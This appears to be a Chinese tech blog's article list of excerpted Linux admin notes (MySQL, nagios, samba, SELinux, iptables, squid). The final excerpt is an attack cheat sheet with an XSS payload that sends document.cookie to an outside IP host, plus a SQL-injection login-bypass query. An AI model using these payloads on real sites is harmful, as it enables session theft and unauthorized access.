- 浏览: 347575 次
- 性别:
- 来自: 北京
最新评论
-
rushwoo:
这样就可以了: def next(self): ...
python类中的__iter__, __next__与built-in的iter()函数举例 -
rushwoo:
报错啊: for i in Next(3):TypeEr ...
python类中的__iter__, __next__与built-in的iter()函数举例 -
luozhaoyu:
agen_0502 写道mount /dev/yourvolu ...
xen快速创建虚拟机 -
agen_0502:
mount /dev/yourvolumegroup/xen- ...
xen快速创建虚拟机 -
agen_0502:
mount /dev/yourvolumegroup/xen- ...
xen快速创建虚拟机
文章列表
32位的xp下玩虚拟机真是伤不起啊。这年头linux占用内存也是突飞猛进,如果要有gnome,kde的话……随便开2个虚拟机系统就要超2G的内存,开始爬虚拟内存,卡翻了。还好最开始学linux的时候就是从命令行开始的,如果debian开机直接进命令行的话,内存大概128M就绰绰有余了。
redhat系下的linux可以通过init 3,init 5方便的切来切去,今天发现debian系下的init2~5好像都会默认打开gdm3,所以这招不灵了。
最先想到的就是/etc/init.d/gdm3 stop,但是这样还是不够精简。
其次的想法是把gdm3这个服务关掉,使用命令
update-rc ...
之前玩RoR的时候还是大二,当初用的貌似是ruby1.83和rails1.3?吧。当初连多态什么的概念都没搞懂,就开始看RoR,现在回想起来真是汗颜。
现在配置的环境是:
Debian 6.03
ruby 1.92p290
gem 1.8.12
rails 3.1.3
首先安装ruby
因为rails3与ruby1.8.7 ...
编译安装
apt-get install lib32ncursesw5-dev
添加一个可远程登录的超级用户mysqladmin
grant all on *.* to mysqladmin@'%' identified by 'mysqladmin';
FLUSH PRIVILEGES;
重置root密码
先关闭mysqld,可以shutdown或者直接kill
以非grant方式启动mysqld
/usr/sbin/mysqld --defaults-file=/etc/mysql/slave.cnf --basedir=/usr --datadir=/data/mysql --us ...
我使用yum方式安装ndoutils
因为官方源上没有ndoutils,所以想用yum的话,可以使用dag这个源。(CentOS文档上有介绍)
ndoutils需要mysql,但是下载最新的5.5的版本下面会报错。
于是我用yum安装mysql5.0以及perl-DBD-mysql。
配置ndo数据库
/usr/share/ndoutils/installdb -u nagiosdb -p nagiosdb -h localhost -d nagiosdb
安装完之后配置/etc/nagios下的文件:
ndo2db.cfg
引用socket_type=tcp
db_user=nagi ...
nagios core的安装配置请移步
http://luozhaoyu.iteye.com/blog/2017262
nagios安装最麻烦的就是各种软件包了这里记一下:
引用yum install httpd php gcc glibc glibc-common gd gd-devel
nagios的可视化界面工具centreon的软件依赖:
其中最最麻烦的就是rrdtool for perl了!
用cpan找不到perl rrdtool
而且官方yum也找不到它
最后终于找到一个比较猛地源:
引用[dag]
name=Dag RPM Repository for Red Hat Ente ...
最近要装centreon,它的系统要求有很多pear的包。
查了一下,原来pear是php的一个官方框架,大概就类似于python的官方库和ruby的gem吧?
在linux下可以用pear install来安装各种php的开发工具。
在linux下安装pear
引用$ wget http://pear.php.net/go-pear.phar
$ php go-pear.phar
但是pear还是没有yum那么方便,我尝试运行:
引用pear install -o DB DB_DataObject DB_DataObject_FormBuilder Validate MDB2 Date ...
因为练习要用redhat,而redhat因为没有注册所以没有yum,没有yum的redhat就是鸡肋。为了解决这个问题,可以用以下方法。
一、卸载redhat yum
# rpm -qa | grep yum | xargs rpm -e --nodeps
二、安装centos yum
给网易做广告了……
# cd /tmp/
# wget http://mirrors.163.com/centos/5/os/i386/CentOS/yum-3.2.22-37.el5.centos.noarch.rpm
# wget http://mirrors.163.com/centos/5/os/ ...
配置samba服务器前提:
samba服务器和你客户机在同一个网段,同一个工作组
samba服务器的配置文件是/etc/samba/smb.conf
一、创建一个系统用户用来访问samba服务器
# useradd admin
二、配置共享模式的samba服务器
1、修改用户组
修改smb.conf文件中的workgroup为
引用workgroup = WORKGROUPNAME
这里的工作组名字和你本机(可能是window)里的工作组一致
2、设置访问模式
修改smb.conf文件,把其中的
引用security = user
修改成
引用security = share
3 ...
参考自鸟哥的私房菜:http://linux.vbird.org/
SELinux是Mandatory Access Control的一种。
主体与客体安全性文本
修改安全性文本
引用
[root@www ~]# chcon [-R] [-t type] [-u user] [-r role] 檔案
[root@www ~]# chcon [-R] --reference=範例檔 檔案
選項與參數:
-R :連同該目錄下的次目錄也同時修改;
-t :後面接安全性本文的類型欄位!例如 httpd_sys_content_t ;
-u :後面接身份識別,例如 system_u;
-r : ...
鸟哥的防火墙规则流程图
iptables 內建各表格與鏈的相關性
显示规则
引用[root@www ~]# iptables [-t tables] [-L] [-nv]
選項與參數:
-t :後面接 table ,例如 nat 或 filter ,若省略此項目,則使用預設的 filter
-L :列出目前的 table 的規則
-n :不進行 IP 與 HOSTNAME 的反查,顯示訊息的速度會快很多!
-v :列出更多的資訊,包括通過該規則的封包總位元數、相關的網路介面等
删除规则
引用[root@www ~]# iptables [-t tables] [-FXZ]
選項與參數: ...
基础参数
引用[root@www ~]# setfacl [-bkRd] [{-m|-x} acl參數] 目標檔名
選項與參數:
-m :設定後續的 acl 參數給檔案使用,不可與 -x 合用;
-x :刪除後續的 acl 參數,不可與 -m 合用;
-b :移除所有的 ACL 設定參數;
-k :移除預設的 ACL 參數,關於所謂的『預設』參數於後續範例中介紹;
-R :遞迴設定 acl ,亦即包括次目錄都會被設定起來;
-d :設定『預設 acl 參數』的意思!只對目錄有效,在該目錄新建的資料會引用此預設值
为一个用户user单独设定权限
引用[root@localhost ~]# set ...
参考资料:鸟哥的私房菜
http://linux.vbird.org/
grep
引用
[root@www ~]# grep [-acinv] [--color=auto] '搜尋字串' filename
選項與參數:
-a :將 binary 檔案以 text 檔案的方式搜尋資料
-c :計算找到 '搜尋字串' 的次數
-i :忽略大小寫的不同,所以大小寫視為相同
-n :順便輸出行號
-v :反向選擇,亦即顯示出沒有 '搜尋字串' 內容的那一行!
-l :不输出查找文本行,只输出文件名
-r :遍历文件树
-C :显示NUM行查找结果的上下文
-m :最大寻找数,找到NUM个数后即停止
- ...
参考自鸟哥的私房菜——
http://linux.vbird.org/linux_basic/0340bashshell-scripts.php
输入变量并提示
read -p "Please input your first name: " -t 30 firstname # 请在30s内输入名字
改变类型
引用[root@www ~]# declare [-aixr] variable
選項與參數:
-a :將後面名為 variable 的變數定義成為陣列 (array) 類型
-i :將後面名為 variable 的變數定義成為整數數字 (integer) 類型 ...
代理服务器squid安装配置说明
一、 安装Linux操作系统
安装RHEL5.5版本,选择进行默认设置即可。
注意:请在软件包安装窗口,选中Development Libraries, Development Tools选项,以安装gcc。gcc用于编译squid源代码
二、 下载安装squid
备注:以下安装过程采用Tera Term远程控制安装。也可选择直接在代理服务器端使用命令进行squid的安装。
官方网站:http://www.squid-cache.org/Versions/ 下载Version3.1版本squid。
使用tar zxvf squid-3.1.15.tar.gz命 ...
跳转至恶意站点
<script>location.href="恶意站点URL"+document.cookie;</script>
<script>location.href="http://192.179.175.218:81/cgi-bin/eatcookie.cgi?cookie="+document.cookie;</script>
数列数
select count(*) from employees where Login='user01'-- and Pass='user01'
执行命 ...